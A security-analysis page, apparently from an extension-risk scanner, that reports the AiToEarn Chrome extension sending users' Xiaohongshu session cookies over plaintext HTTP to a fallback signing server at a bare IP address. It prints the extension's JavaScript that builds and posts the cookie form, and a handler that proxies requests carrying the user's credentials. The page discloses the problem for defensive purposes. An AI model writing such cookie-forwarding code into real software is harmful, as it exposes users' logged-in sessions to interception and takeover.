Is AiToEarn Extension safe?

Medium risk

AiToEarn Extension is medium risk.

AiToEarn Extension sends Xiaohongshu session cookies to a plaintext signature service at 39.106.41.190:5008.

When signing Xiaohongshu publish or delete requests, the extension reads the platform login cookie and, if its page signer fails, posts the full cookie string with request path and data to http://39.106.41.190:5008. Its localhost integration can also proxy caller-supplied requests through the extension with browser credentials included.

aitoearnv3.3.11Extension ID hnmocdhmnfgcjnedmdgfefcobideaejaChrome Web Store
45Risk
AI-assisted analysis.

AiToEarn Extension findings

Xiaohongshu cookie sent to plaintext signing API

MediumunwantedCWE-319Dynamic sandbox

Xiaohongshu publish, delete, and request flows can route signing through a fallback at http://39.106.41.190:5008 when the in-page signer fails.

What actually happens

You did this

You use the extension for a Xiaohongshu publish, delete, or request action.

Those flows need Xiaohongshu request signatures before the extension can continue.

The extension did this

The extension can send your Xiaohongshu cookie to a plaintext signing endpoint.

This happens when the normal page-based signing path fails and the fallback API is used.

Fields the fallback signing helper adds to the multipart form

  • Xiaohongshu API path
    /web_api/sns/v2/note (illustrative)

    Shows which Xiaohongshu action you are asking the extension to sign.

  • Xiaohongshu cookie
    a1=1872acdb1fabc1239b8e9f7a64d61b2c; web_session=040069b2d31c4a9f8d125f0c6e2b74aa (illustrative)

    Can identify and authorize your Xiaohongshu browser session.

  • Request data
    {"title":"Quarterly launch notes","type":"normal"} (illustrative)

    Can describe the Xiaohongshu request content being signed when the caller supplies a body.

Captured request

POSThttp://39.106.41.190:5008

The code that does this

Fallback signing path that posts the cookie over plaintext HTTP

Readable version

Readable fallback signature helper

js/background.js
const fallbackSigningApi = "http://39.106.41.190:5008";async function requestSignatureFromHomePage(path, data, a1CookieValue) {  const homeTabId = await findHomePageTab();  if (!homeTabId) {    throw new Error("AIToEarn home page tab was not found");  }  const requestId = `xhs_sign_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;  const response = await chrome.tabs.sendMessage(homeTabId, {    action: "XHS_SIGN_REQUEST",    payload: { url: path, data, a1: a1CookieValue, requestId }  });  if (response?.success && response.data) {    return response.data;  }  throw new Error(response?.error || "signature failed");}async function requestSignatureFromFallbackApi(cookie, path, data) {  const form = new FormData();  form.append("path", path);  form.append("cookie", cookie);  if (data !== undefined) {    const serializedData = typeof data === "string" ? data : JSON.stringify(data);    if (serializedData !== undefined) {      form.append("data", serializedData);    }  }  const response = await HttpClient.post(fallbackSigningApi, form, {    timeout: 15000,    maxRetries: 2,    retryDelay: 1000  });  if (response.code !== 200) {    throw new ExtensionError(`API signature failed: ${response.msg || "unknown error"}`, SIGNATURE_ERROR, response.code?.toString());  }  if (!response.data?.["X-s"] || !response.data?.["X-t"]) {    throw new ExtensionError("API signature data is incomplete", SIGNATURE_ERROR);  }  return {    "X-s": response.data["X-s"],    "X-t": response.data["X-t"]  };}class XhsSignatureService {  static async getSignature(cookie, path, data) {    let homeSignError;    try {      const a1CookieValue = this.extractA1FromCookie(cookie);      if (!a1CookieValue) {        throw new ExtensionError("Unable to extract a1 from Cookie", SIGNATURE_ERROR);      }      const homeSignature = await requestSignatureFromHomePage(path, data, a1CookieValue);      this.assertSignatureResult(homeSignature);      return { ...homeSignature };    } catch (error) {      homeSignError = error;    }    try {      const fallbackSignature = await requestSignatureFromFallbackApi(cookie, path, data);      this.assertSignatureResult(fallbackSignature);      return fallbackSignature;    } catch (apiSignError) {      const message = apiSignError instanceof Error ? apiSignError.message : String(apiSignError);      throw new ExtensionError(`Get signature exception: ${message}`, SIGNATURE_ERROR, apiSignError instanceof ExtensionError ? apiSignError.code : undefined, { homeSignError, apiSignError });    }  }  static extractA1FromCookie(cookie) {    const parts = cookie.split(";").map((part) => part.trim());    for (const part of parts) {      if (part.startsWith("a1=")) {        return part.substring(3);      }    }    return null;  }}

Readable request wrapper

js/background.js
class XhsRequestClient {  static async request({ cookie, path, method = "POST", data, headers = {} }) {    const signature = await XhsSignatureService.getSignature(cookie, path, data);    const signedHeaders = { ...XhsSignatureService.buildSignatureHeaders(signature), ...headers };    const url = `https://edith.xiaohongshu.com${path}`;    switch (method) {      case "GET":        return HttpClient.get(url, { headers: signedHeaders });      case "DELETE":        return HttpClient.delete(url, { headers: signedHeaders });      default:        return HttpClient.post(url, data, { headers: signedHeaders });    }  }  static async get(cookie, path, headers) {    return this.request({ cookie, path, method: "GET", headers });  }  static async post(cookie, path, data, headers) {    return this.request({ cookie, path, method: "POST", data, headers });  }  static async delete(cookie, path, headers) {    return this.request({ cookie, path, method: "DELETE", headers });  }}

Readable background handler

js/background.js
async function handleXhsRequest(payload) {  try {    const cookie = await PlatformLoginService.getCookieString("xhs");    if (!cookie) {      throw new Error("Not logged into Xiaohongshu; unable to get cookie");    }    const response = await XhsRequestClient.request({      cookie,      path: payload.path,      method: payload.method,      data: payload.data,      headers: payload.headers    });    return { success: true, data: response };  } catch (error) {    return { success: false, error: error?.message || "Xiaohongshu request failed" };  }}

Destination that receives the fallback signing form

    • 39.106.41.190

    Plaintext HTTP fallback signing API that receives the multipart path, cookie, and optional data fields.

    • edith.xiaohongshu.com

    Xiaohongshu API host that receives the signed request after the extension obtains signature headers.

AiToEarn Extension version history

  1. 3.0.0

    Apr 11, 2026

  2. +5 more

  3. 3.3.9

    Sep 13, 2026

  4. 3.3.10

    Oct 15, 2026

  5. 3.3.11

    Oct 22, 2026

Where AiToEarn Extension sends data

  • 39.106.41.190:5008

    Found in its code · only this extension

Chrome Web Store listing

Versions
3.3.11 latest of 9 seen since April 11, 2026
Store rating
5.0 from 3 ratings
Last updated
August 12, 2026
Size
1.75 MiB
Privacy policy
aitoearn.ai
Updated July 21, 2026